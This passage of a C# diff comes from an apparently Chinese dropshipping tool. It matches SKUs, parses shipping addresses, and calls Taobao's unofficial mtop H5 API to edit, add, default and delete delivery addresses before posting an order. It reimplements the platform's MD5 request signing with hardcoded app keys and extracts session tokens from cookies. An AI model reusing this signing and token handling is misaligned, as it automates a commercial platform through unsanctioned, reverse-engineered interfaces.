(tempOrderSkuArr.Length == 2 && tempskuArrx.Length == 2) + { + if (tempskuArrx[0].Contains(tempOrderSkuArr[0]) && tempskuArrx[1].Contains(tempOrderSkuArr[1])) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + } + #endregion + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace(";", ""); + //先精准匹配在模糊匹配 + #region 先精准匹配在模糊匹配 + + bool isMatch0 = true;//匹配标识1,默认匹配成功 + bool isMatch1 = false;//匹配标识2 匹配标识都为true时,则精准匹配 匹配成功,否则进行模糊匹配 + var skuArrx = pb.SkuMaps[i].name.Split(';');//多个规格;例如:颜色;尺寸 + if (skuArrx.Length > 0) + { + for (int k = 0; k < skuArrx.Length; k++) + { + string skus = skuArrx[k]; + if (string.IsNullOrEmpty(skus)) + { + continue; + } + string[] skuL = skus.Split(':'); + if (skuL.Length == 2 && skul.Length == 2) + { + if (skuL[1] == skul[0]) + { + isMatch0 = true; + } + if (skuL[1] == skul[1]) + { + isMatch1 = true; + } + } + + } + + if (isMatch0 && isMatch1)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + + } + + //单个规格例如只有颜色--英文冒号分割 + var skuAr = pb.SkuMaps[i].name.Split(':');//英文冒号分割 + if (skuAr.Length > 0) + { + if (skuAr.Length == skul.Length) + { + isMatch0 = true;//匹配标识1,默认匹配成功 + for (int k = 0; k < skuAr.Length; k++) + { + if (skuAr[k] != skul[k]) + { + isMatch0 = false; + break; + } + } + if (isMatch0)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].pinduoduo_image; + hadSku = true; + break; + } + } + + } + #endregion + + + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(pb.SkuMaps[i].name) || pb.SkuMaps[i].name.Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + string[] l = pb.SkuMaps[i].name.Split(';');//分号分割 + if (l.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(l[0]) && l[0].Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (l.Length > 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(l[0]) && skuBefor.Contains(l[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + + string[] skuArr = pb.SkuMaps[i].name.Split(':');//冒号分割 + if (skuArr.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) || skuArr[0].Contains(skuBefor))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (skuArr.Length > 1) + { + if (skuArr.Length == 3) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) || skuBefor.Contains(skuArr[1])) && skuBefor.Contains(skuArr[2])) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + else + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (skuBefor.Contains(skuArr[0]) && skuBefor.Contains(skuArr[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + } + if (tempSkuBeforList.Length == 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (pb.SkuMaps[i].name.Contains(tempSkuBeforList[0]) || tempSkuBeforList[0].Contains(pb.SkuMaps[i].name))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + if (tempSkuBeforList.Length > 1) + { + if ((!string.IsNullOrEmpty(pb.SkuMaps[i].name)) && (!string.IsNullOrEmpty(skuBefor)) && (pb.SkuMaps[i].name.Contains(tempSkuBeforList[0]) && pb.SkuMaps[i].name.Contains(tempSkuBeforList[1]))) + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + hadSku = true; + break; + } + } + + } + Pb = pb; + //orderDetail.sku = skuBefor; + //if (!hadSku && Order.buy_type == 2 && !string.IsNullOrEmpty(orderDetail.sku) || Order.buy_type == 2 && string.IsNullOrEmpty(Order.sku) && pb.SkuMaps.Count > 1) + //{ + // if (InvokeRequired) + // { + // Invoke(new Action(() => + // { + // BaseMsgForm.ShowInfo("未匹配成功sku,请手动下单", "提示"); + // })); + // } + // else + // { + // BaseMsgForm.ShowInfo("未匹配成功sku,请手动下单", "提示"); + // } + // if (!string.IsNullOrEmpty(tkRateUrl)) + // { + // cefWebBrowser1.Load(tkRateUrl); + // } + // else + // { + // cefWebBrowser1.Load(WebUrl); + // } + + // return; + //} + //Invoke(new delegateView(SetSku)); + try + { + TbPutToBuy(sku, noGroupPrice, buyPrice); + } + catch + { + } + + } + #endregion + + + #region 修改淘宝地址 + string address_zdy = "", mobile_zdy = "", name_zdy = ""; + public void AutoMatchTbAddress() + { + if (string.IsNullOrEmpty(address_zdy) || string.IsNullOrEmpty(mobile_zdy) || string.IsNullOrEmpty(mobile_zdy)) + { + address_zdy = orderDetail.address; + mobile_zdy = orderDetail.mobile; + name_zdy = orderDetail.name; + } + else + { + address_zdy = addressTextBoxX.Text; + mobile_zdy = mobileTextBoxX.Text; + name_zdy = userNameTextBoxX.Text; + } + + string url = ""; + string htmlxt = ""; + string data = ""; + + long time; + data = "{\"isSec\":0}"; + string sign = GetSign("", data, out time); + //url = "https://api.m.taobao.com/h5/mtop.user.getusersimple/1.0/?appKey=12574478&t=" + time + "&sign=" + sign + + //"&api=mtop.user.getUserSimple&v=1.0&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + url = "https://h5api.m.taobao.com/h5/mtop.cainiao.address.ua.global.area.list/1.0/?appKey=12574478&t=" + time + "&sign=" + sign + + "&api=mtop.user.getUserSimple&v=1.0&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + //获取用户的所有地址编号 + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, url, true); + if (string.IsNullOrEmpty(htmlxt) || !htmlxt.Contains("_m_h5_tk"))//没有登录获取token获取失败 + { + return; + } + string h5Tkt = BaseRegex.GetMatchRegexString(ref htmlxt, "_m_h5_tk=([^_]+?)_"); + string addCookies = BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk=[^;]+?;)") + " " + + BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk_enc=[^;]+?;)"); + string cookies = GetPostTaobaoHtml.GetCookies(url, ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk=[^;]+?;)", ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk_enc=[^;]+?;)", ""); + cookies += addCookies; + + data = "{}"; + sign = GetSignx(h5Tkt, data, out time); + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.getdeliveraddrlist/1.0/?jsv=2.5.1&appKey=27769795&t=" + time + "&sign=" + sign + "&api=mtop.taobao.mbis.getDeliverAddrList&v=1.0&ecode=1&needLogin=true&dataType=jsonp&type=jsonp&callback=mtopjsonp4&data=%7B%7D"; + + //获取到所有地址 + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + htmlxt = htmlxt.Replace("\\", ""); + string addrHtml = htmlxt; + + string pattern = @"""deliverId"":""([\d]+?)"""; + var mx = BaseRegex.GetMatchRegex(htmlxt, pattern); + bool isUpdAddress = true; + if (mx.Count == 0) + { + pattern = "\"deliverId\":([\\d]+?),"; + mx = BaseRegex.GetMatchRegex(htmlxt, pattern); + } + if (mx.Count == 0) + { + isUpdAddress = false; + //AddTaoBaoAddress(); + //return; + } + List Ids = new List(); + for (int i = 0; mx != null && i < mx.Count; i++) + { + string id = mx[i].Groups[1].Value; + if (!Ids.Contains(id)) + { + Ids.Add(id); + } + } + + #region 匹配地址--获取省市区编码 + string addressstr = address_zdy; + #region 匹配省市区镇 + string patternProv = @"([\w]+?省|[\w]+?自治区)"; + var mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + string prov = string.Empty; + if (mc != null && mc.Count > 0) + { + prov = mc[0].Groups[1].ToString(); + } + else if (addressstr.Contains("上海") | addressstr.Contains("北京") | addressstr.Contains("天津") | addressstr.Contains("重庆")) + { + patternProv = @"(上海|北京|天津|重庆)"; + mc = BaseRegex.GetMatchRegex(addressstr, patternProv); + prov = mc[0].Groups[1].ToString(); + } + if (string.IsNullOrEmpty(prov)) return; + addressstr = addressstr.Substring(addressstr.IndexOf(prov) + prov.Length); + //匹配市 + string city = ""; + if (prov == "上海" || prov == "北京" || prov == "天津" || prov == "重庆") + { + city = prov + "市"; + } + //string patternCity = @"(?[^市|^省|^县|^区]+?[市])"; + string patternCity = @"([^市|^省|^自治区|^县|^区]+?(市|自治州))"; + //mc = Regex.Matches(addressstr, patternCity, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternCity); + if (string.IsNullOrEmpty(city) && mc.Count > 0) + { + city = mc[0].Groups[1].ToString(); + } + if (string.IsNullOrEmpty(city) && !string.IsNullOrEmpty(address_zdy)) + { + string temoAddress = address_zdy; + city = BaseRegex.GetMatchRegexString(ref temoAddress, "省([\\W\\w]+?市)"); + } + if (!string.IsNullOrEmpty(city)) + { + addressstr = addressstr.Substring(addressstr.IndexOf(city) + city.Length); + if (addressstr.StartsWith("市")) + addressstr = addressstr.Substring("市".Length); + if (addressstr.StartsWith("辖区")) + addressstr = addressstr.Substring("辖区".Length); + } + if (string.IsNullOrEmpty(city)) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + })); + } + else + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + } + return; + } + //匹配区 + string patternArea = @"([^县|^区|^省|^自治区|^自治县]+?[市|县|区|自治县])"; + //mc = Regex.Matches(addressstr, patternArea, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternArea); + string area = ""; + if (mc.Count > 0) + { + area = mc[0].Groups[1].ToString(); + } + addressstr = addressstr.Substring(addressstr.IndexOf(area) + area.Length); + //匹配镇 + //string patternTown = @"([^镇|^省|^自治区|^市|^县|^区]+?(镇|路|街道))"; + string patternTown = @"([^镇|^乡|^省|^自治区|^市|^县|^区|^团]+?(镇|乡|路|街道|团))"; + //mc = Regex.Matches(addressstr, patternTown, RegexOptions.IgnoreCase); + mc = BaseRegex.GetMatchRegex(addressstr, patternTown); + string town = ""; + if (mc.Count > 0) + { + town = mc[0].Groups[1].ToString(); + } + #endregion + + + //获取省、市、县名称 + if (prov.Contains("自治区")) + { + if (prov.Contains("内蒙古")) + { + prov = "内蒙古"; + } + else + { + prov = prov.Substring(0, 2); + } + } + if (prov.Contains("省")) + { + prov = prov.Remove(prov.Length - 1, 1); + } + + //city = city == "" ? "" : city.Remove(city.Length - 1, 1); + //area = area == "" ? "" : area.Remove(area.Length - 1, 1); + + //定义省、市、县、区编号 + int provid = 0; + int cityid = 0; + int areaid = 0; + + //获取省的编号 + foreach (AddressBase item in AddressSetIni.AddressList) + { + if (item.Name.Equals(prov)) + { + provid = item.Id; + break; + } + } + if (provid == 0) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + })); + } + else + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + } + return; + } + + //获取市的编号 + var citys = AddressSetIni.Addresses[provid]; + AddressBase cityAddress = citys.Find(c => c != null && city.Contains(c.Name)); + if (cityAddress != null) + { + cityid = cityAddress.Id; + } + if (citys.Count > 0 && (city.Equals("上海") || city.Equals("北京") || city.Equals("天津") || city.Equals("重庆"))) + { + cityid = citys[0].Id; + } + if (cityid == 0) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + })); + } + else + { + BaseMsgForm.ShowInfo("城市识别失败,请手动填写地址", "提示"); + } + return; + } + + //获取区的编号 + var areas = AddressSetIni.Addresses[cityid]; + AddressBase areaAddress = areas.Find(a => a != null && area.Contains(a.Name)); + if (areaAddress == null) + { + areaAddress = areas.Find(a => a != null && a.Name.Contains(area)); + } + if (areaAddress == null) + { + areaAddress = areas.Find(a => a != null && area.Contains(a.Name)); + } + if (areaAddress != null) areaid = areaAddress.Id; + + List towns = new List(); + //if (!BaseClass.PhonePay) + //{ + if (areaid == 0) + { + BaseMsgForm.ShowError("地址添加失败,在淘宝找不到对应的区,请手动添加", "提示"); + return; + } + //获取镇的编号 + url = "https://lsp.wuliu.taobao.com/locationservice/addr/output_address_town_array.do?l1=" + provid + "&l2=" + cityid + "&l3=" + areaid + "&lang=zh-S"; + if (town.Contains("团")) + { + url = "https://lsp.wuliu.taobao.com/locationservice/addr/output_address_town_array.do?l1=" + provid + "&l2=" + cityid + "&lang=zh-S"; + } + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, "", true); + + var mm = BaseRegex.GetMatchRegex(htmlxt, @"\[['""]([\d]+)['""],['""]([^""]+?)['""]"); + + for (int i = 0; mm != null && i < mm.Count; i++) + { + string id = mm[i].Groups[1].Value; + string t = mm[i].Groups[2].Value; + if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(t)) + { + continue; + } + towns.Add(new KeyValueBase(id, t)); + } + // } + + //镇编号 + string townid = matchingMethod(town, towns); + + + if (string.IsNullOrEmpty(townid)) + { + townid = areaid.ToString(); + if (areaid == 0 || string.IsNullOrEmpty(areaid.ToString())) + { + townid = cityid.ToString(); + if (cityid == 0 || string.IsNullOrEmpty(cityid.ToString())) + { + townid = provid.ToString(); + } + } + } + #endregion + string deliverId = ""; + if (isUpdAddress) + { + #region 获取最近的地址 + data = "{}"; + sign = GetSign(h5Tkt, data, out time); + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.getdeliveraddrlist/1.0/?jsv=2.5.1&appKey=12574478&t=" + time + "&sign=" + sign + "&api=mtop.taobao.mbis.getDeliverAddrList&v=1.0&ecode=1&needLogin=true&dataType=jsonp&type=jsonp&callback=mtopjsonp4&data=%7B%7D"; + + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + htmlxt = htmlxt.Replace("\\", ""); + string detailDivisionCode = BaseRegex.GetStringJson(ref htmlxt, "detailDivisionCode"); + deliverId = BaseRegex.GetStringJson(ref htmlxt, "deliverId"); + + if (string.IsNullOrEmpty(deliverId)) + { + if (Ids.Count > 0) + { + deliverId = Ids[0]; + } + } + if (string.IsNullOrEmpty(deliverId)) + { + isUpdAddress = false; + } + #endregion + if (!string.IsNullOrEmpty(deliverId)) + { + + #region 修改地址 + data = "{\"divisionCode\":\"" + townid + "\",\"townDivisionCode\":\"" + townid + "\",\"detailDivisionCode\":\"" + detailDivisionCode + "\",\"addressDetail\":\"" + addressstr + "\",\"postCode\":\"000000\",\"overseaAddress\":false,\"fullName\":\"" + name_zdy + "\",\"mobileCode\":\"86\",\"mobile\":\"" + mobile_zdy + "\",\"phoneInternationalCode\":86,\"phoneAreaCode\":\"\",\"phoneNumber\":\"\",\"phoneExtension\":\"\",\"defaultDeliverAddress\":false,\"acceptAddressName\":false,\"province\":\"" + prov + "\",\"city\":\"" + city + "\",\"area\":\"" + area + "\",\"town\":\"" + town + "\",\"deliverId\":\"" + deliverId + "\"}"; + + + sign = GetSign(h5Tkt, data, out time); + + StringBuilder buffer = new StringBuilder(); + buffer.AppendFormat("jsv={0}", "2.4.2"); + buffer.AppendFormat("&appKey={0}", 12574478); + buffer.AppendFormat("&t={0}", time); + buffer.AppendFormat("&sign={0}", sign); + buffer.AppendFormat("&api={0}", "mtop.taobao.mbis.updateDeliverAddress"); + buffer.AppendFormat("&v={0}", "1.0"); + buffer.AppendFormat("&ecode={0}", "1"); + buffer.AppendFormat("&needLogin={0}", true); + buffer.AppendFormat("&timeout={0}", 3000); + buffer.AppendFormat("&dataType={0}", "jsonp"); + buffer.AppendFormat("&type={0}", "jsonp"); + buffer.AppendFormat("&callback={0}", "mtopjsonp14"); + buffer.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.updatedeliveraddress/1.0/?" + buffer.ToString(); + + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + if (!htmlx.Contains("操作成功")) + { + isUpdAddress = false; + } + #endregion + } + + } + if (!isUpdAddress) + { + #region 增加新地址 + //增加新地址 + StringBuilder buffer = new StringBuilder(); + buffer.AppendFormat("jsv={0}", "2.4.2"); + buffer.AppendFormat("&appKey={0}", 12574478); + buffer.AppendFormat("&api={0}", "mtop.taobao.mbis.insertDeliverAddress"); + buffer.AppendFormat("&v={0}", "1.0"); + + + buffer.AppendFormat("&ecode={0}", "1"); + buffer.AppendFormat("&needLogin={0}", true); + buffer.AppendFormat("&timeout={0}", 3000); + + buffer.AppendFormat("&dataType={0}", "jsonp"); + buffer.AppendFormat("&type={0}", "jsonp"); + buffer.AppendFormat("&callback={0}", "mtopjsonp14"); + + data = "{\"divisionCode\":\"" + townid + "\",\"townDivisionCode\":\"" + townid + + "\",\"addressDetail\":\"" + addressstr + "\",\"longitude\":\"117.242306\",\"latitude\":\"31.826987\",\"postCode\":\"000000\",\"overseaAddress\":false,\"fullName\":\"" + name_zdy + "\",\"mobileCode\":86,\"mobile\":\"" + mobile_zdy + "\",\"phoneInternationalCode\":86,\"phoneAreaCode\":\"\",\"phoneNumber\":\"\",\"phoneExtension\":\"\",\"defaultDeliverAddress\":false}"; + + sign = GetSign(h5Tkt, data, out time); + buffer.AppendFormat("&sign={0}", sign); + buffer.AppendFormat("&t={0}", time); + buffer.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.insertdeliveraddress/1.0/?" + buffer.ToString(); + //string refere = "https://member1.taobao.com/member/fresh/deliver_address.htm"; + //string htmlx = GetPostTaobaoHtml.UploadTaobao(url, url, true); + + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + + var m = BaseRegex.GetMatchRegex(htmlx, @"{\\""deliverId\\"":([\d]+?)}"); + if (m == null || m.Count <= 0) + { + if (Ids.Count == 19) + { + AsycDelTbAddress(Ids, h5Tkt, cookies); + } + if (!htmlx.Contains("操作成功")) + { + GetAdressFail(addrHtml);//若地址添加失败,需判断是否出现滑块 + string msg = BaseRegex.GetStringJson(ref htmlx, "message"); + if (!string.IsNullOrEmpty(msg)) + { + BaseMsgForm.ShowError(msg, "提示"); + } + else + { + BaseMsgForm.ShowError("地址添加失败,添加收货地址被限制请手动添加地址。", "提示"); + } + return; + } + return; + } + deliverId = m[0].Groups[1].Value; + #endregion + + } + + #region 设置默认地址 + //设置默认地址 + StringBuilder bufferdefault = new StringBuilder(); + bufferdefault.AppendFormat("jsv={0}", "2.4.2"); + bufferdefault.AppendFormat("&appKey={0}", 12574478); + bufferdefault.AppendFormat("&api={0}", "mtop.taobao.mbis.setDefultAddress"); + bufferdefault.AppendFormat("&v={0}", "1.0"); + bufferdefault.AppendFormat("&ecode={0}", "1"); + bufferdefault.AppendFormat("&needLogin={0}", true); + bufferdefault.AppendFormat("&dataType={0}", "jsonp"); + bufferdefault.AppendFormat("&type={0}", "jsonp"); + bufferdefault.AppendFormat("&callback={0}", "mtopjsonp14"); + + data = "{\"deliverId\":" + deliverId + "}"; + sign = GetSign(h5Tkt, data, out time); + bufferdefault.AppendFormat("&sign={0}", sign); + bufferdefault.AppendFormat("&t={0}", time); + bufferdefault.AppendFormat("&data={0}", GetHtml.UrlEncodeUtf8(data)); + + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.setdefultaddress/1.0/?" + bufferdefault.ToString(); + //refere = "https://member1.taobao.com/member/fresh/deliver_address.htm"; + string htmlxd = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + #endregion + if (!htmlxd.Contains("操作成功")) + { + MessageBox.Show("地址添加失败,添加收货地址被限制请手动添加地址。", "提示"); + return; + } + if (Ids.Count == 19) + { + AsycDelTbAddress(Ids, h5Tkt, cookies); + } + + } + + public void GetAdressFail(string htmlxt) + { + if (htmlxt.Contains("被挤爆啦,请稍后重试")) + { + long time; + //GetHtml.OpenUrl(BaseRegex.GetStringJson(ref htmlxt, "url")); + BaseClass.SlideUrl = BaseRegex.GetStringJson(ref htmlxt, "url"); + BaseClass.SlideIsClose = true; + int count = 0; + while (true) + { + if (count == 30) + { + break; + } + count++; + Thread.Sleep(1000); + if (!BaseClass.SlideIsClose) + { + string data = "{\"isSec\":0}"; + string sign = GetSign("", data, out time); + string url = "https://api.m.taobao.com/h5/mtop.user.getusersimple/1.0/?appKey=12574478&t=" + time + "&sign=" + sign + + "&api=mtop.user.getUserSimple&v=1.0&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + //获取用户的所有地址编号 + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, url, true); + if (string.IsNullOrEmpty(htmlxt) || !htmlxt.Contains("_m_h5_tk"))//没有登录获取token获取失败 + { + return; + } + string h5Tkt = BaseRegex.GetMatchRegexString(ref htmlxt, "_m_h5_tk=([^_]+?)_"); + string addCookies = BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk=[^;]+?;)") + " " + + BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk_enc=[^;]+?;)"); + string cookies = GetPostTaobaoHtml.GetCookies(url, ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk=[^;]+?;)", ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk_enc=[^;]+?;)", ""); + cookies += addCookies; + + data = "{}"; + sign = GetSignx(h5Tkt, data, out time); + url = "https://h5api.m.taobao.com/h5/mtop.taobao.mbis.getdeliveraddrlist/1.0/?jsv=2.5.1&appKey=27769795&t=" + time + "&sign=" + sign + "&api=mtop.taobao.mbis.getDeliverAddrList&v=1.0&ecode=1&needLogin=true&dataType=jsonp&type=jsonp&callback=mtopjsonp4&data=%7B%7D"; + htmlxt = GetPostTaobaoHtml.UploadTaobaoPost(url, url, true, "", cookies); + htmlxt = htmlxt.Replace("\\", ""); + break; + } + } + //if (htmlxt.Contains("被挤爆啦,请稍后重试")) + //{ + // MessageBox.Show("地址修改失败,添加收货地址被限制请手动添加地址。", "提示"); + // return; + //} + } + } + /// + /// 匹配集合中的镇编号 + /// + /// + /// + public string matchingMethod(string town, List towns) + { + if (string.IsNullOrEmpty(town)) + return ""; + char[] ll = town.ToCharArray(); + string maxId = ""; string maxName = ""; + int maxPercent = 0; + foreach (var item in towns) + { + char[] t = item.Value.Replace("镇", "").Replace("开发区", "").Replace("经济开发区", "").Replace("区", "").ToCharArray(); + if (t.Length == 0) + continue; + int hadCount = 0; + foreach (var i in t) + { + bool had = false; + foreach (var l in ll) + { + if (l == i) + { + had = true; + break; + } + } + if (had) + { + hadCount++; + } + } + double hadPercent = hadCount * 100 / t.Length; + if (hadPercent > maxPercent) + { + maxPercent = hadCount * 100 / t.Length; + maxId = item.Key; + maxName = item.Value; + } + } + return maxId; + } + #endregion + + + #region 匹配成功sku后到支付页面 + public void TbPutToBuy(long sku, decimal noGroupPrice, decimal buyPrice) + { + + if (BaseClass.LoseMoneyNoBuy && buyPrice > Convert.ToDecimal(orderDetail.price)) + { + MessageBox.Show("出售价低于进货价,如要拍单请在设置关闭即可"); + return; + } + + var pb = Pb; + //string html = Html; + if (string.IsNullOrEmpty(Mobile)) + Mobile = orderDetail.mobile; + string mobile = BaseRegex.GetMatchRegexString(ref Mobile, @"(1[\d]{2}[- ]{0,1}[\d]{4}[- ]{0,1}[\d]{4})"); + if (string.IsNullOrEmpty(mobile)) + { + MessageBox.Show("没有识别到手机号"); + return; + } + if (sku == 0) + { + return; + } + //long stime = BaseClass.GetTime(DateTime.Now); + + + string urlstr = "https://buy.taobao.com/auction/buy_now.jhtml?spm=2013.1.20140002.d1.undefined"; + string datastr = "onekey=&gmtCreate=&checkCodeIds=&secStrNoCCode=&tb_token=5e13b43681fe1&item_url_refer=https%3A%2F%2Fbschina.taobao.com%2Fcategory-673031679.htm%3Fspm%3Da1z10.10426-c-s.w5001-14477384681.8.28824bb63K47lF%26mid%3Dw-702831136-0%26catName%3D%25C4%25D0%25D7%25B0%26catId%3D673031679%26orderType%3Dhotsell_desc%26v%3D1%26scene%3Dtaobao_shop&item_id=" + pb.from_id + "&item_id_num=" + pb.from_id + "&auction_type=b&from=item_detail&frm=undefined¤t_price=" + buyPrice + "&auto_post1=&quantity=" + orderDetail.count + "&skuId=" + sku + "&skuInfo=&buyer_from=undefined&chargeTypeId=&root_refer=undefined&source_time=1541671626768&ybhpss=undefined"; + string referstr = "https://item.taobao.com/item.htm?spm=a1z10.5-c-s.w4002-14477384761.13.36c858e69m8xer&id=" + pb.from_id + ""; + string htmlstr = GetPostTaobaoHtml.UploadTaobaoPost(urlstr, referstr, true, datastr); + + string tokenstr = BaseRegex.GetStringInput(ref htmlstr, "_tb_token_"); + + datastr = "onekey=&gmtCreate=&checkCodeIds=&secStrNoCCode=&tb_token=" + tokenstr + "&item_id=" + pb.from_id + "&item_id_num=" + pb.from_id + "&auction_type=b&from=item_detail&frm=undefined¤t_price=" + buyPrice + "&auto_post1=&quantity=" + orderDetail.count + "&skuId=" + sku + "&skuInfo=&buyer_from=undefined&chargeTypeId=&root_refer=undefined&source_time=1541671626768&ybhpss=undefined"; + + urlstr = "https://buy.taobao.com/auction/buy_now.jhtml"; + referstr = "https://item.taobao.com/item.htm?id=" + pb.from_id + ""; + htmlstr = GetPostTaobaoHtml.UploadTaobaoPost(urlstr, referstr, true, datastr); + //cefWebBrowser1.GetBrowser().MainFrame.LoadStringForUrl(htmlstr, urlstr); + cefWebBrowser1.GetBrowser().MainFrame.LoadHtml(htmlstr); + + + } + #endregion + + /// + /// 淘宝签名算法 + /// + /// + /// + /// + public string GetSign(string h5Tk, string data, out long time) + { + string appkey = "12574478"; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = DateTime.Now; + time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + string code = h5Tk + "&" + time + "&" + appkey + "&" + data; + return Md5Base.GetMd5(code).ToLower(); + } + + public string GetSignx(string h5Tk, string data, out long time) + { + string appkey = "27769795"; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = DateTime.Now; + time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + string code = h5Tk + "&" + time + "&" + appkey + "&" + data; + return Md5Base.GetMd5(code).ToLower(); + } + + + #region 删除淘宝地址 + + private async void AsycDelTbAddress(List Ids, string h5Tkt, string cookies) + { + await Task.Run(() => + { + DelTbAddress(Ids, h5Tkt, cookies); + }); + } + public void DelTbAddress(List Ids, string h5Tkt, string cookies) + { + //删除地址 + for (int j = 0; j < Ids.Count; j++) + { + long time; + StringBuilder bufferdelete = new StringBuilder(); + bufferdelete.AppendFormat("jsv={0}", "2.4.2"); + bufferdelete.AppendFormat("&appKey={0}", 12574478); + bufferdelete.AppendFormat("&api={0}", "mtop.taobao.mbis.deleteDeliverAddressById"); + bufferdelete.AppendFormat("&v={0}", "1.0"); + bufferdelete.AppendFormat("&ecode={0}", "1"); + bufferdelete.AppendFormat("&needLogin={0}", true); + bufferdelete.AppendFormat("&dataType={0}", "jsonp"); + bufferdelete.AppendFormat("&type={0}", "jsonp"); + bufferdelete.AppendFormat("&callback={0}", "mtopjsonp14"); + + string data = "{\"deliverId\":" + Ids[j] + "}"; + string sign = GetSign(h5Tkt, data, out time); + bufferdelete.AppendFormat("&sign={0}", sign); + bufferdelete.AppendFormat("&t={0}", time); + bufferdelete.AppendFormat("&data={0}", 